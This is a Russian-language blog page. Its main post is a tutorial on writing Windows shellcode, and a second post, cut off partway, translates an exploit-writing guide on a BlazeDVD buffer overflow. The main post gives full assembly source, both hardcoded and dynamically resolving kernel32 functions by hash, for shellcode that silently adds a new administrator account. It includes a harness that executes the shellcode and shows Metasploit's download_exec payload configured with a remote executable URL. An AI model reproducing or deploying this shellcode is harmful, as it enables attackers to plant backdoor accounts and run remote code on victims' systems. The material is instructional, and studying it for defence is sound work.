воскресенье, 6 ноября 2011 г.

Основы написания шеллкода

В этой статье речь пойдет о написании простого шеллкода под Windows платформу.

Шеллкод(shell code) - изначальное название получил благодаря своим первым действиям - запускал оболучку sh(shell) в Unix-системах. На данный момент это название лишь дань традиции, а действия шеллкодов ограничены только фантазией их создателя и областью исполняемого кода в уязвимой программе. Говоря более понятно, шеллкод - это набор опкодов(инструкций ассемблера, вида \x45\x23\x43), который помещается в память уязвимой программы, и выполняет свои действия при передаче на него управления.
Если смотреть на уровне абстрацкий и ассоциаций, то шеллкод можно представить, как пулю выпущенную из пускового механизма(эксплойта).
Каждый волен думать, как ему угодно и удобней всего, но принцип работы представлять нужно. Так что, начнем знакомство.

Для начала немного теории в виде вопрос[Q]-ответ[A]:
[Q] Каковы различия между Windows и Linux шеллкодами?
[A] Linux, в отличии от Windows, обеспечивает прямой доступ для взаимодействия с ядром системы через интерфейс системных вызовов Int 0x80.
Полную таблицу системных вызовов Linux можно найти на http://www.informatik.htw-dresden.de/~beck/ASM/syscall_list.html
Windows наоборот, не имеет прямого интерфейса для работы с ядром. Система работает благодаря загрузке в память адресов WinAPI функций необходимых для её работы, которые выполняются из системных библиотек DLL(Dynamic Link Library).
Основным различием этих двух ОС является то, что в Windows адреса функций могут менятся от версии к версии, в то время как номера вызовов в Int 0x80 Linux остаются постоянно неизменными.

[Q] Как определить адрес необходимой функций в Windows, если они меняються от версии к версии?
[A] Есть несколько способов найти адрес функции, которую необходимо использовать. Мы рассмотрим два из них: использование жесткой адрессации фвызываемых функций, т.е. под конкретно заданную верси'ю(и) системы, и поиск адреса функций во время выполнения программы(динамический).
Библиотека(DLL), которая гарантированно будет использоваться при создании любого шеллкода - kernel32.dll.
В ней содержатся адреса двух важных функций: LoadLibrary() и GetProcAdress(), которые будут подключать другие необходимые для шеллкода функции по названию DLL по адресу в ней. Такой подход имеет большой недостаток: из-за возможных смещений адресов фунций в различных версиях Windows(сервис паки, патчи, язык, и т.д.), шеллкод будет работать только на какой-либо заведомо известной версии, либо версиях с одинаковой адресацией необходимых функций.
При динамическом поиске, мы пишем шеллкод, который сам сможет найти адреса используемых им функций в системе, поэтому такой шеллкод будет универсален для разных версий Windows.

Создим рабочую среду.
В статье речь пойдет о создании шеллкода для Windows, но работать будем из под эмулятора nix-систем Cygwin, т.к. для написания шеллкодов под Linux создано много хороших иснрументов, и одновременно с этим Cygwin предоставит прямой доступ к библиотекам Windows.
Скачать установочный файл Cygwin можно тут: http://www.cygwin.com/setup.exe
Во время установки будет предложен выбор необходимых пакетов, которые вы можете установить. Для разработки и создания шеллкода отлично подойдут:
- Devel -> Binutils (содержит ld или objdump)
- Devel -> gcc
- Devel -> make
- Devel -> nasm
- Devel -> gdb
- Editors -> hexedit
- Net -> netcat
- System -> util-linux

Из сторонних разработок, облегчающих создание шеллкода мы будем использовать:
- Xxd-shellcode.sh
Парсит результат xxd-утилиты для создания raw-шеллкода(делает дамп и добавляет к каждому из значений \x). Для работы требуется наличие nix-программы xdd. У меня её не оказалось, поэтому я заменил её perl-скриптом от Peter N Lewis, который слегка модифицировал для подходящего результата.
- Arwin.c
Находит адрес необходимой функции по её названию и названию библиотеки в которой она находится.
- FindFunctionInDLL.sh
Скрипт-надстройка для Arwin.exe, который не требует названия библиотеки в которой находится искомый адрес функции. Достаточно будет задать лишь имя функции.
- shellcodetest.c
Используется как несущий каркас для шеллкода. Представляет собой сишный код с функцией main(). Необходим для компиляции шеллкода и его проверки на работоспособность.
- Metasploit Framework >=3.3
Фрэймворк для разработки, тестирования и создания эксплойтов. Начиная с версии 3.3 в MsF интегрирован Cygwin(\Metasploit\Framework3\shell.bat), который я буду использовать при дальнейшем описании. Данный Cygwin не включает в себя компилятор gcc, поэтому я заменил его аналогом под Windows платформу - lcc-win32.
- lcc-win32
- OllyDbg >=1.10
Быстрый и удобный отладчик программ, или его аналог Immunity Debugger.

Теперь можно приступить к созданию шеллкода.
Для начала поместим все необходимые программы в рабочую папку Cygwin'a. У меня эта папка C:\Program Files\Metasploit\Framework3\home\r00t\Tutor\. Все программы, которые будут задействованы через консоль bash хранятся в этой папке. Это не обязательно, но избавляет от мелких неудобств с постоянным вводом путей.
Начнем с самого простого - вызов функции. Для примера возьмем функцию Sleep(), которая остановит выполнение программы на 5 секунд, благодаря чему можно будет определить выполнился ли шеллкод.
[Q] Как найти адресс функции в Windows DLL?
[A] В ассемблере, для вызова функций используется инструкция "call 0xXXXXXXXX", где XXXXXXXX адрес функции в памяти, и нам требуется его найти. Для поиска мы воспользуемся программой arwin.exe, запустив которую увидим:



Таким образом, чтобы использовать arwin для поиска нам необходимо знать название DLL, которая содержит искомую функцию. В данном случае функцию Sleep().
Самыми частоиспользуемыми являются функции из библиотек kernel32.dll, user32.dll и ws2_32.dll, и их использование зависит от конечной цели шеллкода.
Так как мы не знаем в какой из библиотек находится функция Sleep(), воспользуемся скриптом-надстройкой Arwin'a findFunctionInDLL.sh:

#!/bin/bash

if [ $# -ne 1 ]
then
printf "\n\tUsage: $0 functionname\n\n"
exit
fi

functionname=$1
searchDir="/cygdrive/c/WINDOWS/system32"

arwin_exe="`pwd`/arwin.exe"
cd $searchDir

ls -1d *.dll | grep -v gui | while read dll
do
printf "\r ";
printf "\r$dll";
count=0
count=`$arwin_exe $dll $functionname | grep -c "is located at"`
if [ $count -ne 0 ]
then
printf "\n";
$arwin_exe $dll $functionname | grep "is located at"
printf "\n";
fi
done
printf "\r ";

Теперь мы можем, воспользовавшись этим скриптом, найти адресс функции Sleep() и заодно название библиотеки в которой она хранится:



Обращаю внимае на то, что название функции прописывается с большой буквы.
Этот поиск занимает некоторое время, так что если вам заведомо известно название dll, в которой хранится искомая функция, вы можете использовать arwin.exe:



Адрес который получился у меня может отличаться от вашего в зависимости от версии операционной системы и установленных сервис паков.
Я использую Windows XP SP3 RUS, а это значит что шеллкод будет работать на ней, и, возможно, ещё на нескольких видах XP, в которых адреса этой функции совпадают с нашими. Это и есть тот основной недостаток метода с жесткой адресацией. Более совершенный метод будет описан ниже.
Теперь приступим к написанию кода использующего функцию Sleep(). Писать, конечно же, будем на ассемблере. Вот этот код:

;sleep.asm
[SECTION .text]

; Устанавливает 32-хбитность
; Совет: Если эта запись отсутствует в более сложных шеллкодах, то результат их работы может быть не совсем корректен.
BITS 32 

global _start

_start:
; очищаем EAX регистр
xor eax,eax 

; помещаем адресс функции Sleep() полученный из arwin.exe в регистр EBX"
mov ebx, 0x7c802442 

; устанавливаем значение для паузы в 5000 мсек поместив значение в регистр ax (8 битный EAX регистр)
mov ax, 5000 

; помещаем EAX в стек в качестве первого параметра функции Sleep(), т.к. при вызове функции её параметры берутся из стека.
push eax 

; вызываем функцию Sleep() по адресу находящемуся в EBX
call ebx

Помещаем этот код в файл sleep.asm.
Это и есть наш шеллкод в ассемблерном представлении, который мы должны скомпилировать для дальнейшего получения шестнадцатиричного дампа. Это может быть сделано при помощи компилятора nasm следующим образом:



Теперь, когда у нас есть бинарный файл мы можем использовать программу для снятия hex-дампа с помощью скрипта xxd-shellcode.sh, который является надстройкой к nix-программе xxd. Вот его код:

#!/bin/bash
if [ $# -ne 1 ]
then
    printf "\n\tUsage: $0 filename.bin\n\n"
    exit
fi

filename=`echo $1 | sed s/"\.bin$"//`
rm -f $filename.shellcode

for i in `xxd -i $filename.bin | grep , | sed s/" "/" "/ | sed s/","/""/g | sed s/"0x"/"\\\\x"/g`
do
    echo -n "\\$i" >> $filename.shellcode
    echo -n "\\$i"
done
echo

Для запуска достаточно написать: ./xxd-shellcode.sh sleep.bin и вы получите готовый шеллкод.
У меня под рукой xxd не оказалось, и я воспользовался перловым сценарием от Peter N Lewis, который был мной слегка модифицирован для получения необходимого результата:

#!/usr/bin/perl

# Written by Peter N Lewis a long time ago
# Released in to the Public Domain
# modified version.

use strict;
use warnings;

usage() if $ARGV[0] and $ARGV[0] =~ m!^-[^-]!;

our $filepos = 0;
our $linechars = '';

foreach (@ARGV) {
    if ($_ eq "-") {
        binmode STDIN;
        *FILE = *STDIN;
    }
    else {
        open FILE, '<:raw', $_ or die "no such file $_";
    }
    while () {
        dump_char($_) foreach split(//);
    }
    dump_char( ' ', 1 ) while length($linechars) != 0;
    close FILE;
}

sub dump_char {
  my ( $char, $blank ) = @_;

  if ( $blank ) {
    print '   ';
  } else {
    printf( "\\x%x", ord($char) );
  }
}

Запускаем и смотрим:



Получили шеллкод: "\x31\xc0\xbb\x46\x24\x80\x7c\x66\xb8\x88\x13\x50\ xff\xd3"; и теперь его надо протестировать. Необходимо поместить его в тестовый сишный каркас, и скомпилировать в .exe. Для таких целей у нас есть специальный код shellcodetest.c:

/*shellcodetest.c*/
char code[] = "сюда вставляем получившийся шеллкод"; /*должно быть так "char code[] = "\x31\xc0\xbb\x46\x24\x80\x7c\x66\xb8\x88\x13\x50\xff\xd3""*/
int main(int argc, char **argv)
{
int (*func)();
func = (int (*)()) code;
(int)(*func)();
}

Вставив получившийся у нас шеллкод функции Sleep() в shellcodetest.c, компилируем её с помощью gcc: gcc -o shellcodetest shellcodetest.c
Я воспользуюсь аналогом gcc lcc-win32 и ввожу следующие команды:

cmd\>lcc.exe "C:\Program Files\Metasploit\Framework3\home\r00t\Tutor\shellcodetest.c"
cmd\>lcclnk.exe shellcodetest.obj

В итоге получаем shellcode.exe. Запускаем и проверяем:
По истечении 5-тисекундной паузы появится мэсэджбокс, и нажав ОК программа завершиться аварийно, выдав в консоль "abnormal program termination".
Это хороший знак в нашем случае, и шеллкод сработал как ему и пологалось.

Что ж, попробуем усложнить задачу, и напишем шеллкод который будет выполнять команды Windows, например, создаст дополнительную учетную запись администратора.
Также, мы рассмотрим определение и поиск строковых констант, а именно код командной строки, который надо выполнить, и попытаемся "чисто" завершить процесс, не прибегая к аварийному завершению, как это было ранее.
Наша основная цель - найти командную строку и выполнить её код с помощью функции WinExec, тем самым создав новую учетную запись администратора.
[Q] Какие функции нам сейчас понадобятся, и где их искать?
[A] Для запуска процесса выполняющего наши команды в системах Windows необходимо вызвать функцию WinExec, а для правильного завершения процесса функцию ExitProcess. Обе эти функции находятся в kernel32.dll. Найдем их адреса с помощью arwin.exe, как было сделано выше:



Определение и поиск строковых констант.
Строковая констата, которую мы будем помещать в наш шеллкод, должна выглядеть так:
cmd.exe /c net user PSUser Passwd /ADD && net localgroup Администраторы /ADD User
где PSUser и Passwd - имя и пароль нового администратора. Не забудьте заранее просмотреть свои группы пользователей и вписать название нужной. Следующий код показывает, как будет определена данная строка в конце кода шеллкода, и её вызов.
Код вызова следующий:
jmp short GetCommand ;Перейти на код метки GetCommand, под которой будет размещена строковая константа с кодом командной строки. 
CommandReturn:   ;Создает метку на которую нужно вернуться после выполнения GetCommand
 pop ebx    ; выталкивает нашу команду из стека. Завершение.

Код выполнения следующий:

GetCommand:   ;Создаем метку 
        call CommandReturn 
        db "cmd.exe /c net user User Passwd /ADD && net localgroup Администраторы /ADD User" ;записывает байткод данной командной строки
        db 0x00   ;Отрубить символ конца строки

Теперь напишем весь код adduser.asm. Не забудьте заменить адреса функций WinExec и ExitProcess на получившиеся у вас значения.

;adduser.asm
[Section .text]

BITS 32

global _start

_start:

jmp short GetCommand  ;Перейти на код метки GetCommand, под которой будет размещёна строковая константа с кодом командной строки. 
CommandReturn:    ;Определяем метку вызова помещения адреса командной строки в стек
    pop ebx    ;ebx теперь указывает на командную строку

    xor eax,eax   ;очистили EAX
    push eax    ;помещаем в стек значение регистра EAX
    push ebx    ;помещаем в стек значение регистра EBX, т.е. код командной строки
    mov ebx,0x7c8623ad  ;помещаем в EBX адрес вызова функции WinExec
    call ebx    ;вызываем EBX (WinExec)

    xor eax,eax   ;сново очищаем EAX
    push eax    ;помещаем EAX в стек
    mov ebx, 0x7c81cafa ;помещаем в EBX адрес функции ExitProcess
    call ebx    ;Вызываем ExitProcess;

GetCommand:    ;Создаем метку 
    call CommandReturn  
    db "cmd.exe /c net user User Passwd /ADD && net localgroup Администраторы /ADD User" ;записывает байткод данной командной строки
    db 0x00    ;Отрубить символ конца строки

Сохраняем этот код в adduser.asm и компилируем: nasm -f bin -o adduser.bin adduser.asm
Получили бинарник нашего шеллкода adduser.bin, который надо привести в нормальный вид(снять его шестнадцатиричный дамп) при помощи программы xxd( xxd -i adduser.bin) или xxd-shellcode(./xxd-shellcode.sh adduser.bin).
Я же воспользуюсь перловым скриптом hc.pl:



Теперь остается протестировать данный шеллкод, повторив действия с компиляцией shellcodetest.c описанные ранее. Получив exe-шник запустим его и проверим создалась ли учетная запись:



Как видно, шеллкод сработал.
Не забудьте удалить новоиспеченную учетную запись в целях безопасности командой: net user PSUser /delete
Замечу, что получение и тестирование шеллкода мы рассматриваем в развернутом виде. Есть и более простые и быстрые способы, но они не столь прозрачны.

Динамический шеллкод.
Вот мы и подошли ко второму способу написания шеллкода, а именно - динамическому поиску. В отличии от шеллкода с жестко заданными адресами функций, который работатет только под определенной версией Windows, этот шеллкод будет работать под разными версиями путем самостоятельного нахождения адресов по заданым в нём хэшам имен функций необходимых для выполнения кода. Способ универсален, но из-за этого шеллкод набирает в весе, что, как вам может быть известно, не всегда хорошо сказывается на его работоспособности и применимости.
Для того чтобы шеллкод мог искать имена функций, нам необходимо вписать в него шестнадцатиричные хэши этих имен, после чего мы вставим их в поисковый код шеллкода. Этот код будет высчитывать и перебирать хэши имен всех функций находящихся в библиотек dll, и сравнивать их значения с искомыми, заданными в шеллкоде.
Рассмотрим этот порцесс детальнее на примере, но для начала составим программу генерирующую хэши имен искомых функций.
hash-generator.asm

;hash-generator.asm
[SECTION .text]

BITS 32

global _start

_start:

jmp start_asm

;Определяем функции

;функция: get_current_address

get_current_address:
    push 0 ;создать область в стеке
    push eax ;поместить значение eax в стек
    mov eax, [esp+8] ;копировать адрес возврата в eax
    mov dword [esp+4], eax ;поместить адрес возврата в область результатов
    pop eax ;восстановить первоначальное значение eax
    ret ;вернуться к инструкции вызвавшей функцию

;Конец функции: get_current_address

;Функция: compute_hash

compute_hash:
    push 0 ;создать случайную область в стеке
    pushad ;sсохранить текущие значения регистров в стеке
    mov eax, [esp+36] ;копировать адрес возврата в eax
    mov dword [esp+32], eax ;;поместить адрес возврата в область результатов
     
    xor edi, edi ;обнулить edi. В нём буду тхраниться хэш-значения имен функций
    xor eax, eax ;обнулить eax
    cld
compute_hash_again: ;функция высчитывающая хэш-имя функции
    lodsb ;поместить текущий символ в eax
    test al, al ;проверяет ноль в конце строки
    jz compute_hash_finished
    ror edi, 0xd ;
    add edi, eax ;добавить текущий символ к хэшу
    jmp compute_hash_again
compute_hash_finished: ;конец функции
     ;в edi находяться хэши в обратном порядке

    mov edx, edi ;поместить хэши в edx
reverse_next_hash_section: ;функция переворота хэшей
    mov al, dl ;поместить первые 8 бит в регистр al
    shr edx, 8 ;сдвинуть EDX вправо для следующих 8 бит хэша
    test dl, dl ;проверка на ноль - завершение переворота хэша
    jz reverse_hash_finished ;если ноль, вызвать функцию завершения переоворота хэшей
    shl eax, 8 ;сдвинуть eax влево на 8 бит, для следующей секции хэша
    jmp short reverse_next_hash_section ;вернуться назад на переход к следующему разделу
reverse_hash_finished: ;полный хэш находиться сейчас в eax в верном порядке
    mov dword [esp+36], eax ;поместить возвращаемое значение в возвращаемое место
    popad ;восстановить исходные значения регистров
    ret ;вернуть к инструкции вызвавшей функцию

;конец функции: compute_hash

;Определение констант

locate_constants: ;метка начала констант
    call get_current_address ;определить текущее местоположение в памяти
    pop esi ;указатель на функцию содержащую строки
    add esi, 9 ;поместить в esi указатель на команду
    jmp short locate_constants_return ;вернуться к главному коду

    ;создаем строки с названиями функций
    db "LoadLibraryA" ;значение хэша = 0x8e4e0eec
    db 0x00
    db "WriteFile" ;значение хэша = 0x1f790ae8
    db 0x00
    db "CloseHandle" ;значение хэша = 0xfb97fd0f
    db 0x00
    db "Sleep" ;значение хэша = 0xb0492ddb
    db 0x00
    db "ReadFile" ;значение хэша = 0x1665fa10
    db 0x00
    db "GetStdHandle" ;значение хэша = 0x23d88774
    db 0x00
    db "CreatePipe" ;значение хэша = 0x808f0c17
    db 0x00
    db "SetHandleInformation" ;значение хэша = 0x44119e7f
    db 0x00
    db "WinExec" ;rзначение хэша = 0x98FE8A0E
    db 0x00
    db "ExitProcess" ;значение хэша = 0x7ED8E273
    db 0x00
    ;указатель конца списка
    db 0x00

;Конец блока определения констатнт

start_asm:
    int 3 ;прерывание указывающее на старт программы
    int 3 ;второе прерывание(брекпойнт) здесь только для демонстрации в отладчике
    jmp locate_constants ;найти местоположение констант
locate_constants_return: ;определить куда вернуть после

next_hash: ;начало цикла для следуещего хэша
    push esi ;поместить значение esi в качестве параметра функции compute_hash function
    call compute_hash ;compute_hash(строка из esi)
     ;результат находиться в первой строке стека
    int 3 ;остановить отладчик после генерации каждого хэша, для демонстрации работы программы
    int 3 ;демонстраця

    xor eax,eax ;очистить eax
check_null: ;помещается указатель на название следующей функции
    lodsb ;помещаеться текущий символ в eax
    test al,al ;проверка на ноль
    jz is_null ;если ноль, значит конец строки
    jmp short check_null ;вернуться назад и проверить следующий символ
is_null:
    lodsb ;поместить текущий символ в eax
    dec esi ;переметиться назад на одну позицию
    test al,al ;проверяем на ноль
    jnz next_hash ;два нуля означают конец, иначе перейти к следующему хэшу

end:
    int 3 ;демонстрация списка хэшей в стеке.
    int 3 ;остановить отладчик
    int 3 ;для вида

Сохраните этот исходник в рабочей папке под названием hash-generator.asm, и скомпелируйте его:
nasm -f bin -o hash-generator.bin hash-generator.asm

Теперь, имея бинарный файл, воспользуемся xxd-shellcode.sh для получения шеллкода, как это было описано выше.
Поместим полученный массив значений в shellcodetest.c и скомпилируем.
Получили exe файл с нашим шеллкодом, и сейчас посмотрим на весь процесс создания хэшей имен функций под отладчиком. Воспользуемся для этих целей OllyDbg'ом или Immunity Debuger'ом.
Запускаем программу и открываем наш shellcodetest.exe.



На скриншоте изображена рабочая область программы Immunity Debuger(тоже самое, что и OllyDbg). Как видно, изображено четыре области:
-окно процесса выполнения программы. В нем находятся адреса ассемблерных инструкций(первый столбик), шестнадцатиричные представления этих инструкций(второй столбик), сами ассемблерные инструкции(третий столбик), и столбик с комментариями, которые создает отладчик при анализе программы. В этом окне выполняются основные манипуляции влияющие на ход выполнения программы.
-окно состояния регистров. Содержит список регистров процессора и значения которые они содержат. Основная цель это окна - показать, как инструкции влияют на регистры.
-окно стека - позволяет увидеть, что попадает в него, и что выталкивается. Наблюдая за этим процессом не сложно понять принцип работы стека - "Первым пришел, первым вышел".
-окно дампа памяти - позволяет видеть и искать необходимые байты в памяти.
-кнопка F9(Run) - запускает автоматическое выполнение кода программы.
-кнопка F7(Step into) - пошаговое выполнение кода программы с захождением в функции.
-кнопка F8(Ыеуз over) - пошаговое выполнение кода программы без захождения в функции.

Мы будем использовать только F9. В нашем коде имеются прерывания int3 - это иммитация точек останова(breakpoint), которые будут останавливать процесс выполнения, для того чтобы была возможность обратить внимание на основные моменты.



На рисунке отмечена первая точка останова. После неё начинается основная часть нашего кода. Если вы хотите посмотреть, что происходит в стеке и регистрах на протяжении процесса выполнения, то можете воспользоваться кнопками F7 и F8.
Вы могли заметить, что в некоторых местах кода, встречаются два идущих подряд int3. Это созданно для того, чтобы продемонстрировать саму процедуру останова из-за int3, а не из-за возможной ошибки.
Перед двумя этими брейкпойнтами находится инструкция "call compute_hash" - вызов функции, которая вычисляет хэш и помещает его в стек. В данном случае хэш первой функции LoadLibraryA равен 8E4E0EEC.
Продолжая нажимать F9, можно наблюдать за тем, как хэши по очереди ложаться в стек, до самого конца списка функций.



Думаю, принцип нахождения хэшей более-менее понятен.
Теперь применим его на предыдущем нашем шеллкоде с жестко заданными адресами, и тем самым сделаем его переносимым на большее количество версий Windows.
В шеллкоде создающем учетную запись мы использовали две системные функции: WinExec() и ExitProcess(). Сейчас мы уже имеем хэши этих функций, и знаем как их связать с константами содержащими их реальные названия:

;определение констант

    locate_hashes:
        call locate_hashes_return

        ;WinExec        ;хэш = 0x98FE8A0E
        db 0x98
        db 0xFE
        db 0x8A
        db 0x0E

        ;ExitProcess        ;хэш = 0x7ED8E273
        db 0x7E
        db 0xD8
        db 0xE2
        db 0x73

    ;конец определения констант

Но для начала нам необходимо найти в памяти системную библиотек содержащую эти функции - kernel32.dll. Она всегда загружается вместе с Windows и рамещается в предсказуемой области памяти, поэтому найти её не составит особого труда, после чего мы приступим к поиску адреса нужных нам функции. Это будет происходить путем перебора всех функций входящих в kernel32.dll, вычислением их хэшей, и сравнением этих хэшей с двумя нашими(от функций winexec() и exitprocess()).

Код шеллкода adduser-dynamic.asm:

;adduser-dynamic.asm
[SECTION .text]

BITS 32

global _start

_start:

    jmp start_asm

;Определяем функции

;Функция поиска kernel32.dll в памяти : find_kernel32
;тут находятся приблизительные адреса памяти для различных систем Windows
find_kernel32:
    push esi
    xor eax, eax
    mov eax, [fs:eax+0x30]
    test eax, eax
    js find_kernel32_9x
find_kernel32_nt:
    mov eax, [eax + 0x0c]
    mov esi, [eax + 0x1c]
    lodsd
    mov eax, [eax + 0x8]
    jmp find_kernel32_finished
find_kernel32_9x:
    mov eax, [eax + 0x34]
    lea eax, [eax + 0x7c]
    mov eax, [eax + 0x3c]
find_kernel32_finished:
    pop esi
    ret

;Конец функции поиска: find_kernel32

;Поиск функций в kernel32: find_function

find_function:
    pushad
    mov ebp, [esp + 0x24]
    mov eax, [ebp + 0x3c]
    mov edx, [ebp + eax + 0x78]
    add edx, ebp
    mov ecx, [edx + 0x18]
    mov ebx, [edx + 0x20]
    add ebx, ebp
find_function_loop:
    jecxz find_function_finished
    dec ecx
    mov esi, [ebx + ecx * 4]
    add esi, ebp ;esi содержит название текущей функции
     ; начинаем вычислять её хэш
compute_hash:
    xor edi, edi ; обнуляем edi для хранения результатов вычислений
    xor eax, eax ;обнуляем eax для хранения символов имен функций
    cld
compute_hash_again:
    lodsb ;помещаем текущий символ в eax
    test al, al ; проверяем на наличие ноля - знак конца строки
 ;как только появился ноль, начинаем вычисление
    jz compute_hash_finished
    ror edi, 0xd
    add edi, eax
    jmp compute_hash_again
compute_hash_finished: ; конец функции вычилсения
find_function_compare:
    ;сравнение полученного при вычислении хэша с хэшами нужным нам функций которые мы указали
    cmp edi, [esp + 0x28]
    jnz find_function_loop
    mov ebx, [edx + 0x24]
    add ebx, ebp
    mov cx, [ebx + 2 * ecx]
    mov ebx, [edx + 0x1c]
    add ebx, ebp
    mov eax, [ebx + 4 * ecx]
    add eax, ebp
    mov [esp + 0x1c], eax
find_function_finished:
    popad
    ret
    
;Конец функции: find_function

;Функция: resolve_symbols_for_dll

resolve_symbols_for_dll:
    ;помещаем текущий хэш(на который указывает esi) в eax
    lodsd
    push eax
    push edx
    call find_function
    mov [edi], eax
    add esp, 0x08
    add edi, 0x04
    cmp esi, ecx
    jne resolve_symbols_for_dll
resolve_symbols_for_dll_finished:
    ret
;Конец функции: resolve_symbols_for_dll

;Объявление констатнт
    
locate_hashes:
    call locate_hashes_return

    ;WinExec ;хэш = 0x98 FE 8A 0E
    db 0x98
    db 0xFE
    db 0x8A
    db 0x0E

    ;ExitProcess ;хэш = 0x7E D8 E2 73
    db 0x7E
    db 0xD8
    db 0xE2
    db 0x73

;Конец объявления констатнт

start_asm: ;старт главной программы

    sub esp, 0x08 ; выделения места в стеке для адресов функций
    mov ebp, esp

    call find_kernel32 ;ищем адрес Kernel32.dll
    mov edx, eax
 
    jmp short locate_hashes ;найти адрес хэша
locate_hashes_return: ;запомнить адрес возврата
    pop esi ;получить адреса констант из стека

    lea edi, [ebp + 0x04] ;здесь сохраняем адрес функции
    mov ecx, esi
    add ecx, 0x08 
    call resolve_symbols_for_dll

;секция кода для добавления пользователя в систему

    jmp short GetCommand
CommandReturn:
    pop ebx

    xor eax,eax
    push eax
    push ebx
    call [ebp+4] ;вызов WinExec(path,showcode)

    xor eax,eax ;обнуляем eax
    push eax 
call [ebp+8] ;вызов ExitProcess(0);

GetCommand:
    call CommandReturn
    db "cmd.exe /c net user User Passwd /ADD && net localgroup Администраторы /ADD User"
    db 0x00

Первая команда(jmp start_asm) вызывает главную подпрограмму(main) шеллкода. Выделяем место в стеке для адресов наших функций. Размер одной функции 4 байта, а т.к. их у нас две, то выделяем 8 байт(sub esp, 0x08). Если ваши будущие шеллкоды будут содержать больше функций, то при подсчете выделяемого для них пространства, помните о том, что исчисление происходит в шестнадцатиричной системе.
После этого следует сохранение кадра стека в ebp, для того, чтобы можно было потом к нему возвратиться, например так:

call [ebp+4]     ;WinExec
call [ebp+8]     ;ExitProcess

В нашем шеллкоде присутствует функция find_kernel32, которая помещает адрес kernel32.dll в eax. Мы берем хэши наших функций и вызываем функцию resolve_symbols_for_dll. Эта функция, в свою очередь, использует функцию find_function, которая используя цикл, перебирает названия функций из kernel32, вычисляет хэш и сравнивает с нашими заведомо известными.
Попробуем скомпилировать и проверить на работоспособность. Для этого повторяем шаги описанные выше:
-компилируем .asm код: nasm -f bin -o adduser-dynamic.bin adduser-dynamic.asm
-получаем дамп: ./xxd-shellcode.sh adduser-dynamic.bin
-помещаем его в shellcodetest.c и компилируем:
lcc.exe shellcodetest.c
lcclnk.exe shellcode.obj
-запускаем получившийся .exe и проверяем результат: net user
Если появился пользователь User - все сработало как надо.
Удаляем пользователя из системы: net user User /delete

Вот и все основые принципы работы и написания шеллкода под Windows платформу. Надеюсь, что описал доступно. Однако, чтобы каждый раз не приходилось писать шеллкод самому, существует замечательный фреймворк для разработки и тестирования эксплойтов - Metasploit Framework.
Для работы с MsF существует несколько видов пользовательских интерфейсов. Самые распространенные: веб(msfweb) и консоль(msfconsole).
В веб инерфейсе, запускающемся по адресу http://127.0.0.1:55555, всё относительно просто, и шеллкод создается в пару-тройку кликов мышкой. Для этого следует пройти в меню "Payloads", и выбрать в появившемся окне интересующий шеллкод. После выбора будет предоставлено окно с настройкой функций шеллкода, а также выбор энкодера и формата вывода шеллкода. Нажав "Generate", фреймворк выдаст нужный шеллкод:



Что насчет консольного варианта, то тут надо поработать руками, и для выбора шеллкода, ввести следующие команды:
show payloads - выведет список доступных шеллкодов
Если хотим получить информацию о шеллкоде, например об "windows/download_exec", пишем:
info payload/windows/download_exec



Если хотим использовать:
use payload/windows/download_exec - и сразу же можете смотреть его параметры введя "set ", и нажать два раза Tab. Буквами в верхнем регистре указываются обязательные параметры.



Установив URL в значение http://site.com/downloadme.exe, генерируем код командой "Generate":


понедельник, 31 октября 2011 г.

Руководство по написанию эксплойтов. Часть 5 - Средства ускоряющие процесс разработки

Автор: Peter Van Eeckhoutte (corelanc0d3r)
Перевод: p(eaZ

В первых частях руководства, я главным образом использовал Windbg, как инструмент позволяющий наблюдать за состоянием регистров и стека. В этой части, я расскажу и о других отладчиках и плагинах для них, которые помогут Вам ускорить этот процесс. Типичный набор средств для написания эксплойтов должен выглядеть примерно таким образом:
windbg (http://www.microsoft.com/whdc/devtools/debugging/default.mspx) (для получения списка команд Windbg, щелкните здесь)
ollydbg
immunity debugger (требует установку Python, который идет в комплекте)
metasploit
pyDbg
различные скрипты на perl/python, и т.д

В предыдущих главах мы уже познакомились с windbg, и я кратко рассказал о плагине от Microsoft, который позволяет оценить аварийное состояние программы, и сообщал о пригодности к использованию такой уязвимости. Этот плагин (MSEC) может быть загружен по адресу http://www.codeplex.com/msecdbg. На первый взгляд MSEC может быть весьма удобен в применении, но полностью полагаться на него всё же не стоит. Всегда лучше вручную просмотреть регистры, состояние стека, и попытаться определить, может ли уязвимость привести к выполнению внедряемого кода.

Byakugan: введение в pattern_offset и searchOpcode.

Все наверняка знают, что у ollydbg есть многочисленное число плагинов. У Windbg на этот счет есть framework/API для создания плагинов и расширений. MSEC был лишь одним из примеров… Metasploit, приблизительно год назад, создал и выпустил свой собственный плагин для windbg под названием byakugan. Предкомпилированные бинарники для Windows XP SP2, SP3, Vista и Windows 7 могут быть найдены в папке framework3 по адресу \external\source\byakugan\bin. Переместите byakugan.dll и injectsu.dll в папку windbg, а detoured.dll в c:\windows\system32. Итак, что же нам может дать byakugan.dll?

  • jutsu: набор инструментов, для отслеживания буферов в памяти, определяя, где находится управление программой во время её крушения, а также для обнаружения действительного адреса возврата.
  • pattern_offset
  • mushishi: структура для обнаружения и обходов антиотладки.
  • tenketsu: эмулятор vista heap.

Вы можете загрузить byakugan модуль в windbg, используя следующую команду:

0:000> !load byakugan
[Byakugan] Successfully loaded!

jutsu компонент предлагает следующие функции:

  • identBuf / listBuf / rmBuf: ищет буферы (ascii, metasploit-шаблоны, или данные из файла) в памяти
  • memDiff: сравнивает данные в памяти с образцом и отмечает изменения. Это поможет Вам определить был ли, например, изменен шеллкод в памяти, из-за возможных ‘плохих знаков’, которые должны быть исключены из шеллкода
  • hunt
  • findReturn: ищет адреса, которые указывают на функцию применимую для возврата
  • searchOpcode: конвертирует инструкции ассемблера в опкоды
  • searchVtptr
  • trackVal

В дополнение к jutsu есть pattern_offset, который позволяет Вам находить metasploit-шаблон в памяти и показывает смещение eip

Чтобы продемонстрировать, как byakugan может ускорить процесс создания эксплойта, мы будем использовать уязвимость, найденную в BlazeDVD 5.1 Professional/Blaze HDTV Player 6.0, где измененный plf файл приводит к стековому переполнению буфера.

Обычно, мы начали бы с построения полезной нагрузки, которая содержал множество “A”. Но на сей раз, мы сразу задействуем metasploit-шаблон.

Создайте metasploit-шаблон, который содержит 1000 знаков и сохраните его в файле (например, blazecrash.plf):

peter@sploitbuilder1 ~/framework-3.2/tools
$./pattern_create.rb 1000> blazecrash.plf

Запустите windbg, и откройте в нем blazedvd. Нажмите F5 для запуска приложения. После того, как blazeDVD запущена, откройте в ней наш подготовленный plf файл . Когда произойдет зависание программы, снова нажмите F5.

Вы должны получить нечто похожее на это:

